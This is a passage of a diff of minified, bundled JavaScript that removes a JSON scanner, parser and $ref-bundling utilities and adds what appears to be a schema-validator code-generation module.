>= 97 && s9 <= 102)) - break; - o9 = 16 * o9 + s9 - 97 + 10; - } - n9++, r10++; - } - return r10 < t11 && (o9 = -1), o9; + emptyStr() { + if (this._items.length > 1) + return false; + const e12 = this._items[0]; + return "" === e12 || '""' === e12; } - function y8() { - if (r9 = "", m8 = 0, o8 = n9, f9 = d8, u8 = l8, n9 >= i9) - return o8 = i9, s8 = 17; - var t11 = e12.charCodeAt(n9); - if (a7(t11)) { - do { - n9++, r9 += String.fromCharCode(t11), t11 = e12.charCodeAt(n9); - } while (a7(t11)); - return s8 = 15; - } - if (p7(t11)) - return n9++, r9 += String.fromCharCode(t11), 13 === t11 && 10 === e12.charCodeAt(n9) && (n9++, r9 += "\n"), d8++, l8 = n9, s8 = 14; - switch (t11) { - case 123: - return n9++, s8 = 1; - case 125: - return n9++, s8 = 2; - case 91: - return n9++, s8 = 3; - case 93: - return n9++, s8 = 4; - case 58: - return n9++, s8 = 6; - case 44: - return n9++, s8 = 5; - case 34: - return n9++, r9 = function() { - for (var t12 = "", r10 = n9; ; ) { - if (n9 >= i9) { - t12 += e12.substring(r10, n9), m8 = 2; - break; - } - var o9 = e12.charCodeAt(n9); - if (34 === o9) { - t12 += e12.substring(r10, n9), n9++; - break; - } - if (92 !== o9) { - if (o9 >= 0 && o9 <= 31) { - if (p7(o9)) { - t12 += e12.substring(r10, n9), m8 = 2; - break; - } - m8 = 6; - } - n9++; - } else { - if (t12 += e12.substring(r10, n9), ++n9 >= i9) { - m8 = 2; - break; - } - switch (e12.charCodeAt(n9++)) { - case 34: - t12 += '"'; - break; - case 92: - t12 += "\\"; - break; - case 47: - t12 += "/"; - break; - case 98: - t12 += "\b"; - break; - case 102: - t12 += "\f"; - break; - case 110: - t12 += "\n"; - break; - case 114: - t12 += "\r"; - break; - case 116: - t12 += " "; - break; - case 117: - var s9 = h9(4, true); - s9 >= 0 ? t12 += String.fromCharCode(s9) : m8 = 4; - break; - default: - m8 = 5; - } - r10 = n9; - } - } - return t12; - }(), s8 = 10; - case 47: - var y9 = n9 - 1; - if (47 === e12.charCodeAt(n9 + 1)) { - for (n9 += 2; n9 < i9 && !p7(e12.charCodeAt(n9)); ) - n9++; - return r9 = e12.substring(y9, n9), s8 = 12; - } - if (42 === e12.charCodeAt(n9 + 1)) { - n9 += 2; - for (var b9 = i9 - 1, v9 = false; n9 < b9; ) { - var j7 = e12.charCodeAt(n9); - if (42 === j7 && 47 === e12.charCodeAt(n9 + 1)) { - n9 += 2, v9 = true; - break; - } - n9++, p7(j7) && (13 === j7 && 10 === e12.charCodeAt(n9) && n9++, d8++, l8 = n9); - } - return v9 || (n9++, m8 = 1), r9 = e12.substring(y9, n9), s8 = 13; - } - return r9 += String.fromCharCode(t11), n9++, s8 = 16; - case 45: - if (r9 += String.fromCharCode(t11), ++n9 === i9 || !c7(e12.charCodeAt(n9))) - return s8 = 16; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - return r9 += function() { - var t12 = n9; - if (48 === e12.charCodeAt(n9)) - n9++; - else - for (n9++; n9 < e12.length && c7(e12.charCodeAt(n9)); ) - n9++; - if (n9 < e12.length && 46 === e12.charCodeAt(n9)) { - if (!(++n9 < e12.length && c7(e12.charCodeAt(n9)))) - return m8 = 3, e12.substring(t12, n9); - for (n9++; n9 < e12.length && c7(e12.charCodeAt(n9)); ) - n9++; - } - var i10 = n9; - if (n9 < e12.length && (69 === e12.charCodeAt(n9) || 101 === e12.charCodeAt(n9))) - if ((++n9 < e12.length && 43 === e12.charCodeAt(n9) || 45 === e12.charCodeAt(n9)) && n9++, n9 < e12.length && c7(e12.charCodeAt(n9))) { - for (n9++; n9 < e12.length && c7(e12.charCodeAt(n9)); ) - n9++; - i10 = n9; - } else - m8 = 3; - return e12.substring(t12, i10); - }(), s8 = 11; - default: - for (; n9 < i9 && g8(t11); ) - n9++, t11 = e12.charCodeAt(n9); - if (o8 !== n9) { - switch (r9 = e12.substring(o8, n9)) { - case "true": - return s8 = 8; - case "false": - return s8 = 9; - case "null": - return s8 = 7; - } - return s8 = 16; - } - return r9 += String.fromCharCode(t11), n9++, s8 = 16; - } + get str() { + var e12; + return null !== (e12 = this._str) && void 0 !== e12 ? e12 : this._str = this._items.reduce((e13, t10) => `${e13}${t10}`, ""); } - function g8(e13) { - if (a7(e13) || p7(e13)) - return false; - switch (e13) { - case 125: - case 93: - case 123: - case 91: - case 34: - case 58: - case 44: - case 47: - return false; - } - return true; + get names() { + var e12; + return null !== (e12 = this._names) && void 0 !== e12 ? e12 : this._names = this._items.reduce((e13, t10) => (t10 instanceof n8 && (e13[t10.str] = (e13[t10.str] || 0) + 1), e13), {}); } - return { setPosition: function(e13) { - n9 = e13, r9 = "", o8 = 0, s8 = 16, m8 = 0; - }, getPosition: function() { - return n9; - }, scan: t10 ? function() { - var e13; - do { - e13 = y8(); - } while (e13 >= 12 && e13 <= 15); - return e13; - } : y8, getToken: function() { - return s8; - }, getTokenValue: function() { - return r9; - }, getTokenOffset: function() { - return o8; - }, getTokenLength: function() { - return n9 - o8; - }, getTokenStartLine: function() { - return f9; - }, getTokenStartCharacter: function() { - return o8 - u8; - }, getTokenError: function() { - return m8; - } }; } - function a7(e12) { - return 32 === e12 || 9 === e12 || 11 === e12 || 12 === e12 || 160 === e12 || 5760 === e12 || e12 >= 8192 && e12 <= 8203 || 8239 === e12 || 8287 === e12 || 12288 === e12 || 65279 === e12; + function o7(e12, ...t10) { + const i9 = [e12[0]]; + let n9 = 0; + for (; n9 < t10.length; ) + p7(i9, t10[n9]), i9.push(e12[++n9]); + return new r8(i9); } - function p7(e12) { - return 10 === e12 || 13 === e12 || 8232 === e12 || 8233 === e12; + t9._Code = r8, t9.nil = new r8(""), t9._ = o7; + const s7 = new r8("+"); + function a7(e12, ...t10) { + const i9 = [d7(e12[0])]; + let n9 = 0; + for (; n9 < t10.length; ) + i9.push(s7), p7(i9, t10[n9]), i9.push(s7, d7(e12[++n9])); + return function(e13) { + let t11 = 1; + for (; t11 < e13.length - 1; ) { + if (e13[t11] === s7) { + const i10 = c7(e13[t11 - 1], e13[t11 + 1]); + if (void 0 !== i10) { + e13.splice(t11 - 1, 3, i10); + continue; + } + e13[t11++] = "+"; + } + t11++; + } + }(i9), new r8(i9); } - function c7(e12) { - return e12 >= 48 && e12 <= 57; + function p7(e12, t10) { + var i9; + t10 instanceof r8 ? e12.push(...t10._items) : t10 instanceof n8 ? e12.push(t10) : e12.push("number" == typeof (i9 = t10) || "boolean" == typeof i9 || null === i9 ? i9 : d7(Array.isArray(i9) ? i9.join(",") : i9)); } - !function(e12) { - e12.DEFAULT = { allowTrailingComma: false }; - }(n8 || (n8 = {})); - var d7 = s7, f8 = function e12(t10, i9, n9) { - if (void 0 === n9 && (n9 = false), function(e13, t11, i10) { - return void 0 === i10 && (i10 = false), t11 >= e13.offset && t11 < e13.offset + e13.length || i10 && t11 === e13.offset + e13.length; - }(t10, i9, n9)) { - var r9 = t10.children; - if (Array.isArray(r9)) - for (var o8 = 0; o8 < r9.length && r9[o8].offset <= i9; o8++) { - var s8 = e12(r9[o8], i9, n9); - if (s8) - return s8; - } + function c7(e12, t10) { + if ('""' === t10) + return e12; + if ('""' === e12) return t10; + if ("string" == typeof e12) { + if (t10 instanceof n8 || '"' !== e12[e12.length - 1]) + return; + return "string" != typeof t10 ? `${e12.slice(0, -1)}${t10}"` : '"' === t10[0] ? e12.slice(0, -1) + t10.slice(1) : void 0; } - }, l7 = function e12(t10) { - if (!t10.parent || !t10.parent.children) - return []; - var i9 = e12(t10.parent); - if ("property" === t10.parent.type) { - var n9 = t10.parent.children[0].value; - i9.push(n9); - } else if ("array" === t10.parent.type) { - var r9 = t10.parent.children.indexOf(t10); - -1 !== r9 && i9.push(r9); - } - return i9; - }, u7 = function(e12, t10, i9) { - void 0 === i9 && (i9 = n8.DEFAULT); - var r9 = s7(e12, false); - function o8(e13) { - return e13 ? function() { - return e13(r9.getTokenOffset(), r9.getTokenLength(), r9.getTokenStartLine(), r9.getTokenStartCharacter()); - } : function() { - return true; - }; + return "string" != typeof t10 || '"' !== t10[0] || e12 instanceof n8 ? void 0 : `"${e12}${t10.slice(1)}`; + } + function d7(e12) { + return JSON.stringify(e12).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029"); + } + t9.str = a7, t9.addCodeArg = p7, t9.strConcat = function(e12, t10) { + return t10.emptyStr() ? e12 : e12.emptyStr() ? t10 : a7`${e12}${t10}`; + }, t9.stringify = function(e12) { + return new r8(d7(e12)); + }, t9.safeStringify = d7, t9.getProperty = function(e12) { + return "string" == typeof e12 && t9.IDENTIFIER.test(e12) ? new r8(`.${e12}`) : o7`[${e12}]`; + }, t9.getEsmExportName = function(e12) { + if ("string" == typeof e12 && t9.IDENTIFIER.test(e12)) + return new r8(`${e12}`); + throw new Error(`CodeGen: invalid export name: ${e12}, use explicit $id name mapping`); + }, t9.regexpCode = function(e12) { + return new r8(e12.toString()); + }; + }, 17898: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.or = t9.and = t9.not = t9.CodeGen = t9.operators = t9.varKinds = t9.ValueScopeName = t9.ValueScope = t9.Scope = t9.Name = t9.regexpCode = t9.stringify = t9.getProperty = t9.nil = t9.strConcat = t9.str = t9._ = void 0; + const n8 = i8(83277), r8 = i8(76930); + var o7 = i8(83277); + Object.defineProperty(t9, "_", { enumerable: true, get: function() { + return o7._; + } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { + return o7.str; + } }), Object.defineProperty(t9, "strConcat", { enumerable: true, get: function() { + return o7.strConcat; + } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { + return o7.nil; + } }), Object.defineProperty(t9, "getProperty", { enumerable: true, get: function() { + return o7.getProperty; + } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { + return o7.stringify; + } }), Object.defineProperty(t9, "regexpCode", { enumerable: true, get: function() { + return o7.regexpCode; + } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { + return o7.Name; + } }); + var s7 = i8(76930); + Object.defineProperty(t9, "Scope", { enumerable: true, get: function() { + return s7.Scope; + } }), Object.defineProperty(t9, "ValueScope", { enumerable: true, get: function() { + return s7.ValueScope; + } }), Object.defineProperty(t9, "ValueScopeName", { enumerable: true, get: function() { + return s7.ValueScopeName; + } }), Object.defineProperty(t9, "varKinds", { enumerable: true, get: function() { + return s7.varKinds; + } }), t9.operators = { GT: new n8._Code(">"), GTE: new n8._Code(">="), LT: new n8._Code("<"), LTE: new n8._Code("<="), EQ: new n8._Code("==="), NEQ: new n8._Code("!=="), NOT: new n8._Code("!"), OR: new n8._Code("||"), AND: new n8._Code("&&"), ADD: new n8._Code("+") }; + class a7 { + optimizeNodes() { + return this; } - function a8(e13) { - return e13 ? function(t11) { - return e13(t11, r9.getTokenOffset(), r9.getTokenLength(), r9.getTokenStartLine(), r9.getTokenStartCharacter()); - } : function() { - return true; - }; + optimizeNames(e12, t10) { + return this; } - var p8 = o8(t10.onObjectBegin), c8 = a8(t10.onObjectProperty), d8 = o8(t10.onObjectEnd), f9 = o8(t10.onArrayBegin), l8 = o8(t10.onArrayEnd), u8 = a8(t10.onLiteralValue), m8 = a8(t10.onSeparator), h9 = o8(t10.onComment), y8 = a8(t10.onError), g8 = i9 && i9.disallowComments, b9 = i9 && i9.allowTrailingComma; - function v9() { - for (; ; ) { - var e13 = r9.scan(); - switch (r9.getTokenError()) { - case 4: - j7(14); - break; - case 5: - j7(15); - break; - case 3: - j7(13); - break; - case 1: - g8 || j7(11); - break; - case 2: - j7(12); - break; - case 6: - j7(16); - } - switch (e13) { - case 12: - case 13: - g8 ? j7(10) : h9(); - break; - case 16: - j7(1); - break; - case 15: - case 14: - break; - default: - return e13; - } - } + } + class p7 extends a7 { + constructor(e12, t10, i9) { + super(), this.varKind = e12, this.name = t10, this.rhs = i9; } - function j7(e13, t11, i10) { - if (void 0 === t11 && (t11 = []), void 0 === i10 && (i10 = []), y8(e13), t11.length + i10.length > 0) - for (var n9 = r9.getToken(); 17 !== n9; ) { - if (-1 !== t11.indexOf(n9)) { - v9(); - break; - } - if (-1 !== i10.indexOf(n9)) - break; - n9 = v9(); - } + render({ es5: e12, _n: t10 }) { + const i9 = e12 ? r8.varKinds.var : this.varKind, n9 = void 0 === this.rhs ? "" : ` = ${this.rhs}`; + return `${i9} ${this.name}${n9};` + t10; } - function $6(e13) { - var t11 = r9.getTokenValue(); - return e13 ? u8(t11) : c8(t11), v9(), true; + optimizeNames(e12, t10) { + if (e12[this.name.str]) + return this.rhs && (this.rhs = E6(this.rhs, e12, t10)), this; } - return v9(), 17 === r9.getToken() ? !!i9.allowEmptyContent || (j7(4, [], []), false) : function e13() { - switch (r9.getToken()) { - case 3: - return function() { - f9(), v9(); - for (var t11 = false; 4 !== r9.getToken() && 17 !== r9.getToken(); ) { - if (5 === r9.getToken()) { - if (t11 || j7(4, [], []), m8(","), v9(), 4 === r9.getToken() && b9) - break; - } else - t11 && j7(6, [], []); - e13() || j7(4, [], [4, 5]), t11 = true; - } - return l8(), 4 !== r9.getToken() ? j7(8, [4], []) : v9(), true; - }(); - case 1: - return function() { - p8(), v9(); - for (var t11 = false; 2 !== r9.getToken() && 17 !== r9.getToken(); ) { - if (5 === r9.getToken()) { - if (t11 || j7(4, [], []), m8(","), v9(), 2 === r9.getToken() && b9) - break; - } else - t11 && j7(6, [], []); - (10 !== r9.getToken() ? (j7(3, [], [2, 5]), 0) : ($6(false), 6 === r9.getToken() ? (m8(":"), v9(), e13() || j7(4, [], [2, 5])) : j7(5, [], [2, 5]), 1)) || j7(4, [], [2, 5]), t11 = true; - } - return d8(), 2 !== r9.getToken() ? j7(7, [2], []) : v9(), true; - }(); - case 10: - return $6(true); - default: - return function() { - switch (r9.getToken()) { - case 11: - var e14 = 0; - try { - "number" != typeof (e14 = JSON.parse(r9.getTokenValue())) && (j7(2), e14 = 0); - } catch (e15) { - j7(2); - } - u8(e14); - break; - case 7: - u8(null); - break; - case 8: - u8(true); - break; - case 9: - u8(false); - break; - default: - return false; - } - return v9(), true; - }(); - } - }() ? (17 !== r9.getToken() && j7(9, [], []), true) : (j7(4, [], []), false); - }; - function m7(e12) { - switch (e12) { - case 1: - return "InvalidSymbol"; - case 2: - return "InvalidNumberFormat"; - case 3: - return "PropertyNameExpected"; - case 4: - return "ValueExpected"; - case 5: - return "ColonExpected"; - case 6: - return "CommaExpected"; - case 7: - return "CloseBraceExpected"; - case 8: - return "CloseBracketExpected"; - case 9: - return "EndOfFileExpected"; - case 10: - return "InvalidCommentToken"; - case 11: - return "UnexpectedEndOfComment"; - case 12: - return "UnexpectedEndOfString"; - case 13: - return "UnexpectedEndOfNumber"; - case 14: - return "InvalidUnicode"; - case 15: - return "InvalidEscapeCharacter"; - case 16: - return "InvalidCharacter"; + get names() { + return this.rhs instanceof n8._CodeOrName ? this.rhs.names : {}; } - return ""; } - const h8 = `__object_order_${Math.floor(Date.now() / 36e5)}__`, y7 = Symbol.for(h8), g7 = (String(y7), { defineProperty: (e12, t10, i9) => (!Object.prototype.hasOwnProperty.call(e12, t10) && y7 in e12 ? e12[y7].push(t10) : "value" in i9 && t10 === y7 && -1 === i9.value.lastIndexOf(y7) && i9.value.push(y7), Reflect.defineProperty(e12, t10, i9)), deleteProperty(e12, t10) { - const i9 = Object.prototype.hasOwnProperty.call(e12, t10), n9 = Reflect.deleteProperty(e12, t10); - if (n9 && i9 && y7 in e12) { - const i10 = e12[y7].indexOf(t10); - -1 !== i10 && e12[y7].splice(i10, 1); + class c7 extends a7 { + constructor(e12, t10, i9) { + super(), this.lhs = e12, this.rhs = t10, this.sideEffects = i9; } - return n9; - }, ownKeys: (e12) => y7 in e12 ? e12[y7] : Reflect.ownKeys(e12), set(e12, t10, i9) { - const n9 = Object.prototype.hasOwnProperty.call(e12, t10), r9 = Reflect.set(e12, t10, i9); - return r9 && !n9 && y7 in e12 && e12[y7].push(t10), r9; - } }); - function b8(e12, t10 = Reflect.ownKeys(e12)) { - "undefined" != typeof process && v8(process) && v8(process.env); - const i9 = new Proxy(e12, g7); - return function(e13, t11) { - y7 in e13 ? (e13[y7].length = 0, e13[y7].push(...t11)) : Reflect.defineProperty(e13, y7, { configurable: true, value: t11 }); - }(i9, t10), i9; - } - function v8(e12) { - return null !== e12 && "object" == typeof e12; - } - var j6 = i8(94169), $5 = i8(11145), x7 = i8.n($5); - function _6(e12) { - if ("object" != typeof e12 || null === e12) - return false; - const t10 = Object.getPrototypeOf(e12); - return null === t10 || t10 === Object.prototype || "function" == typeof e12.constructor && Function.toString.call(Object) === Function.toString.call(e12.constructor); - } - function w6(e12, t10, i9) { - if (!_6(e12) && !Array.isArray(e12) || !(t10 in e12)) - throw new ReferenceError(`Could not resolve '${i9}'`); - } - function S6(e12) { - if ("string" != typeof e12.$ref) - throw new TypeError("$ref should be a string"); - } - const P6 = (e12) => _6(e12) && "$ref" in e12, O7 = (e12) => P6(e12) && "string" == typeof e12.$ref, T6 = (e12) => e12.length > 0 && ("#" === e12 || /^#\S*$/.test(e12)), A6 = (e12, t10, i9) => { - const n9 = e12.toString(); - let r9 = "", o8 = n9, s8 = 0, a8 = o8.indexOf(t10); - for (; a8 > -1; ) - r9 += n9.substring(s8, s8 + a8) + i9, o8 = o8.substring(a8 + t10.length, o8.length), s8 += a8 + t10.length, a8 = o8.indexOf(t10); - return o8.length > 0 && (r9 += n9.substring(n9.length - o8.length, n9.length)), r9; - }, I6 = (e12) => "number" == typeof e12 ? e12 : A6(A6(e12, "~", "~0"), "/", "~1"), E6 = /[^a-zA–Z0–9_.!~*'()\/\-\u{D800}-\u{DFFF}]/gu; - function q5(e12) { - return e12.replace(E6, encodeURIComponent); - } - const k6 = (e12) => { - const t10 = I6(e12); - return "number" == typeof t10 ? t10 : q5(t10); - }, M6 = (e12) => R6(e12), R6 = (e12) => { - if (e12 && "object" != typeof e12) - throw new TypeError("Invalid type: path must be an array of segments."); - return 0 === e12.length ? "#" : `#/${e12.map(k6).join("/")}`; - }; - function D6(e12) { - try { - return decodeURIComponent(e12); - } catch (t10) { - return e12; + render({ _n: e12 }) { + return `${this.lhs} = ${this.rhs};` + e12; } - } - const C6 = /%[0-9a-f]+/gi, V5 = (e12) => { - let t10; - try { - t10 = decodeURIComponent(e12); - } catch (i9) { - t10 = e12.replace(C6, D6); + optimizeNames(e12, t10) { + if (!(this.lhs instanceof n8.Name) || e12[this.lhs.str] || this.sideEffects) + return this.rhs = E6(this.rhs, e12, t10), this; } - return A6(A6(t10, "~1", "/"), "~0", "~"); - }, N6 = (e12) => F6(e12), F6 = (e12) => { - if ("string" != typeof e12) - throw new TypeError("Invalid type: JSON Pointers are represented as strings."); - if (0 === e12.length || "#" !== e12[0]) - throw new URIError("Invalid JSON Pointer syntax; URI fragment identifiers must begin with a hash."); - if (1 === e12.length) - return []; - if ("/" !== e12[1]) - throw new URIError("Invalid JSON Pointer syntax."); - return ((e13) => { - const t10 = e13.length, i9 = []; - let n9 = -1; - for (; ++n9 < t10; ) - i9.push(V5(e13[n9])); - return i9; - })(e12.substring(2).split("/")); - }, U6 = (e12, t10, i9) => { - const n9 = { value: e12, path: i9 }; - t10.onEnter && t10.onEnter(n9); - for (const n10 of Object.keys(e12)) { - const r9 = e12[n10]; - t10.onProperty && t10.onProperty({ parent: e12, parentPath: i9, property: n10, propertyValue: r9 }), "object" == typeof r9 && null !== r9 && U6(r9, t10, i9.concat(n10)); + get names() { + return I6(this.lhs instanceof n8.Name ? {} : { ...this.lhs.names }, this.rhs); } - t10.onLeave && t10.onLeave(n9); - }, L6 = (e12, t10) => { - "object" == typeof e12 && null !== e12 && U6(e12, "function" == typeof t10 ? { onProperty: t10 } : t10, []); - }; - function z6(e12, t10, i9) { - L6(e12, { onProperty({ property: e13, propertyValue: n9, parent: r9 }) { - "$ref" === e13 && "string" == typeof n9 && n9.startsWith(t10) && (r9.$ref = `${i9}${n9.slice(t10.length)}`); - } }); - } - const B6 = (e12) => e12.length > 0 && "#" !== e12[0], Q5 = (e12) => { - if ("string" != typeof e12 || 0 === e12.length || !B6(e12)) - return null; - const t10 = e12.indexOf("#"); - return -1 === t10 ? e12 : e12.slice(0, t10); - }; - function K5(e12, t10) { - return _6(t10) && _6(e12) && ("summary" in e12 || "description" in e12) ? Object.assign(Object.assign(Object.assign({}, t10), "description" in e12 ? { description: e12.description } : null), "summary" in e12 ? { summary: e12.summary } : null) : t10; } - function* H5(e12, t10, i9) { - P6(e12.value) && (S6(e12.value), yield [-1, e12.value]); - for (const [n9, r9] of t10.entries()) - w6(e12.value, r9, i9), e12.value = e12.value[r9], P6(e12.value) && (S6(e12.value), yield [n9, e12.value]); + class d7 extends c7 { + constructor(e12, t10, i9, n9) { + super(e12, i9, n9), this.op = t10; + } + render({ _n: e12 }) { + return `${this.lhs} ${this.op}= ${this.rhs};` + e12; + } } - function G5(e12, t10) { - return W5(e12, t10).value; + class f8 extends a7 { + constructor(e12) { + super(), this.label = e12, this.names = {}; + } + render({ _n: e12 }) { + return `${this.label}:` + e12; + } } - function W5(e12, t10) { - return function e13(t11, i9, n9, r9) { - if (null !== Q5(i9)) - throw new ReferenceError("Cannot resolve external references"); - const o8 = N6(i9); - let s8 = [...o8]; - "#" === i9 && P6(t11) && (S6(t11), o8.unshift(...N6(t11.$ref))); - const a8 = { value: t11 }; - for (const [p8, c8] of H5(a8, o8, i9)) { - if (n9.includes(c8)) - return { source: null, location: null != r9 ? r9 : s8, value: n9[n9.length - 1] }; - n9.push(c8); - const i10 = e13(t11, c8.$ref, n9, s8); - a8.value = i10.value, (s8 = i10.location).push(...o8.slice(p8 + 1)); - } - return { source: null, location: s8, value: n9.length > 0 ? K5(n9[n9.length - 1], a8.value) : a8.value }; - }(e12, t10, []); + class l7 extends a7 { + constructor(e12) { + super(), this.label = e12, this.names = {}; + } + render({ _n: e12 }) { + return `break${this.label ? ` ${this.label}` : ""};` + e12; + } } - const J5 = "#/__bundled__", Z5 = "#/__errors__", Y6 = ({ document: e12, path: t10, bundleRoot: i9 = "#/__bundled__", errorsRoot: n9 = "#/__errors__", cloneDocument: o8 = true, keyProvider: s8 }, a8) => { - if (t10 === i9 || t10 === n9) - throw new Error("Roots do not make any sense"); - const p8 = o8 ? (0, r8.cloneDeep)(e12) : e12; - return X5(p8, N6(i9), N6(n9), t10, s8)(t10, { [t10]: true }, a8); - }, X5 = (e12, t10, i9, n9, o8) => { - const s8 = /* @__PURE__ */ new Set(), a8 = (p8, c8, d8, f9 = {}, l8 = {}, u8 = {}) => { - const m8 = N6(p8), h9 = (0, r8.get)(e12, m8); - L6(d8 || h9, { onEnter: ({ value: i10 }) => { - if (O7(i10) && T6(i10.$ref)) { - const d9 = i10.$ref; - if (u8[d9]) - return; - if (d9 === p8 && (f9[d9] = "#"), f9[d9]) - return void (i10.$ref = f9[d9]); - let m9, h10, y9, g8, b9; - try { - let i11; - m9 = N6(d9), o8 && (i11 = o8({ document: e12, path: m9 })), i11 || (i11 = (({ document: e13, path: t11 }) => 0 === t11.length ? "root" : Array.isArray((0, r8.get)(e13, t11.slice(0, -1))) ? `${t11[t11.length - 2]}_${t11[t11.length - 1]}` : String(t11[t11.length - 1]))({ document: e12, path: m9 })), y9 = i11; - let n10 = 1; - for (; s8.has(y9); ) - if (y9 = `${i11}_${++n10}`, n10 > 20) - throw new Error(`Keys ${i11}_2 through ${i11}_20 already taken.`); - s8.add(y9), h10 = [...t10, y9], g8 = M6(h10); - } catch (e13) { - u8[d9] = e13 instanceof Error ? e13.message : String(e13); - } - if (!m9 || !h10 || !g8) - return; - if ("object" == typeof e12 && null !== e12 && !(b9 = (0, r8.get)(e12, m9))) - try { - b9 = G5(Object(e12), d9); - } catch (e13) { - } - void 0 !== b9 && (f9[d9] = g8, i10.$ref = g8, (0, r8.has)(l8, h10) || (Array.isArray(b9) ? (0, r8.set)(l8, h10, new Array(b9.length).fill(null)) : "object" == typeof b9 && (0, r8.setWith)(l8, h10, {}, Object), (0, r8.set)(l8, h10, b9), "#" === d9 ? function(e13, t11, i11, n10) { - const o9 = i11.map((e14) => `[${JSON.stringify(e14)}]`).join(""), s9 = JSON.parse(JSON.stringify((0, r8.omit)(Object(e13), o9))), a9 = {}; - (0, r8.set)(t11, n10, s9), (0, r8.set)(s9, i11, a9), z6(s9, "#", M6(n10)), a9.$ref = "#"; - }(e12, l8, N6(n9), h10) : c8[d9] || (c8[d9] = true, a8(p8, c8, b9, f9, l8, u8), c8[d9] = false))); - } - } }); - const y8 = (0, r8.get)(l8, t10); - return y8 && Object.keys(y8).length && (0, r8.set)(h9, t10, y8), (Object.keys(u8).length || (0, r8.has)(e12, i9)) && (0, r8.set)(h9, i9, (0, r8.has)(e12, i9) ? (0, r8.get)(e12, i9) : u8), h9; - }; - return a8; - }, ee4 = (e12) => A6(A6(e12, "~1", "/"), "~0", "~"), te4 = (e12, t10) => { - const i9 = /* @__PURE__ */ new WeakMap(); - return function e13(n9, r9) { - let o8; - if (t10 && (n9 = t10(n9)), _6(n9) || Array.isArray(n9)) { - const t11 = i9.get(n9); - return t11 ? { $ref: t11 } : (i9.set(n9, M6(r9)), Array.isArray(n9) ? o8 = n9.map((t12, i10) => e13(t12, [...r9, String(i10)])) : (o8 = {}, Object.keys(n9).forEach((t12) => { - o8[t12] = e13(n9[t12], [...r9, t12]); - })), i9.delete(n9), o8); - } - return n9; - }(e12, []); - }, ie3 = (e12) => A6(A6(e12, "~", "~0"), "//", "/~1"), ne4 = (e12) => { - if ("string" != typeof e12 || 0 === e12.length) - return null; - const t10 = e12.indexOf("#"); - return -1 === t10 ? null : e12.slice(t10); - }, re4 = (e12) => { - const t10 = d7(e12, true); - if (t10.scan(), 1 !== t10.getToken()) - return; - if (t10.scan(), 2 === t10.getToken()) - return; - if (10 !== t10.getToken()) - throw new SyntaxError("Unexpected character"); - const i9 = t10.getTokenValue(); - if (t10.scan(), 6 !== t10.getToken()) - throw new SyntaxError("Colon expected"); - switch (t10.scan(), t10.getToken()) { - case 10: - return [i9, t10.getTokenValue()]; - case 11: - return [i9, Number(t10.getTokenValue())]; - case 8: - return [i9, true]; - case 9: - return [i9, false]; - case 7: - return [i9, null]; - case 16: - throw new SyntaxError("Unexpected character"); - case 17: - throw new SyntaxError("Unexpected end of file"); - default: - return; + class u7 extends a7 { + constructor(e12) { + super(), this.error = e12; + } + render({ _n: e12 }) { + return `throw ${this.error};` + e12; + } + get names() { + return this.error.names; } - }, oe4 = ({ lineMap: e12, ast: t10 }, i9) => { - const n9 = e12[i9.line], r9 = e12[i9.line + 1]; - if (void 0 === n9) - return; - const o8 = f8(t10, void 0 === r9 ? n9 + i9.character : Math.min(r9, n9 + i9.character), true); - if (void 0 === o8) - return; - const s8 = l7(o8); - return 0 !== s8.length ? s8 : void 0; - }; - function se4(e12) { - return ee4(e12.split("/").pop() || ""); } - const ae4 = ({ ast: e12 }, t10, i9 = false) => { - const n9 = function(e13, t11, i10) { - e: - for (const n10 of t11) { - const t12 = Number.isInteger(Number(n10)) ? Number(n10) : n10; - if ("string" == typeof t12 || "number" == typeof t12 && "array" !== e13.type) { - if ("object" !== e13.type || !Array.isArray(e13.children)) - return i10 ? e13 : void 0; - for (const i11 of e13.children) - if (Array.isArray(i11.children) && i11.children[0].value === String(t12) && 2 === i11.children.length) { - e13 = i11.children[1]; - continue e; - } - return i10 ? e13 : void 0; - } - if ("array" !== e13.type || t12 < 0 || !Array.isArray(e13.children) || t12 >= e13.children.length) - return i10 ? e13 : void 0; - e13 = e13.children[t12]; - } - return e13; - }(e12, t10, i9); - if (void 0 !== n9 && void 0 !== n9.range) - return { range: n9.range }; - }, pe4 = (e12, t10 = { disallowComments: true }) => { - const i9 = [], { ast: n9, data: r9, lineMap: o8 } = ce4(e12, i9, t10); - return { data: r9, diagnostics: i9, ast: n9, lineMap: o8 }; - }; - function ce4(e12, t10 = [], i9) { - const n9 = fe4(e12); - let r9 = { type: "array", offset: -1, length: -1, children: [], parent: void 0 }, o8 = null, s8 = []; - const a8 = /* @__PURE__ */ new WeakMap(), p8 = []; - function c8(e13) { - "property" === r9.type && (r9.length = e13 - r9.offset, r9 = r9.parent); + class m7 extends a7 { + constructor(e12) { + super(), this.code = e12; } - function d8(e13, t11, i10) { - return { start: { line: e13, character: t11 }, end: { line: e13, character: t11 + i10 } }; + render({ _n: e12 }) { + return `${this.code};` + e12; } - function f9(e13) { - return r9.children.push(e13), e13; + optimizeNodes() { + return `${this.code}` ? this : void 0; } - function l8(e13) { - Array.isArray(s8) ? s8.push(e13) : null !== o8 && (s8[o8] = e13); + optimizeNames(e12, t10) { + return this.code = E6(this.code, e12, t10), this; } - function h9(e13) { - l8(e13), p8.push(s8), s8 = e13, o8 = null; + get names() { + return this.code instanceof n8._CodeOrName ? this.code.names : {}; } - function g8() { - s8 = p8.pop(); + } + class h8 extends a7 { + constructor(e12 = []) { + super(), this.nodes = e12; } - u7(e12, { onObjectBegin: (e13, t11, n10, o9) => { - r9 = f9({ type: "object", offset: e13, length: -1, parent: r9, children: [], range: d8(n10, o9, t11) }), false === i9.ignoreDuplicateKeys && a8.set(r9, []), h9(function(e14) { - return e14 ? b8({}) : {}; - }(true === i9.preserveKeyOrder)); - }, onObjectProperty: (e13, n10, p9, c9, l9) => { - if ((r9 = f9({ type: "property", offset: n10, length: -1, parent: r9, children: [] })).children.push({ type: "string", value: e13, offset: n10, length: p9, parent: r9 }), false === i9.ignoreDuplicateKeys) { - const i10 = a8.get(r9.parent); - i10 && (0 !== i10.length && i10.includes(e13) ? t10.push({ range: d8(c9, l9, p9), message: 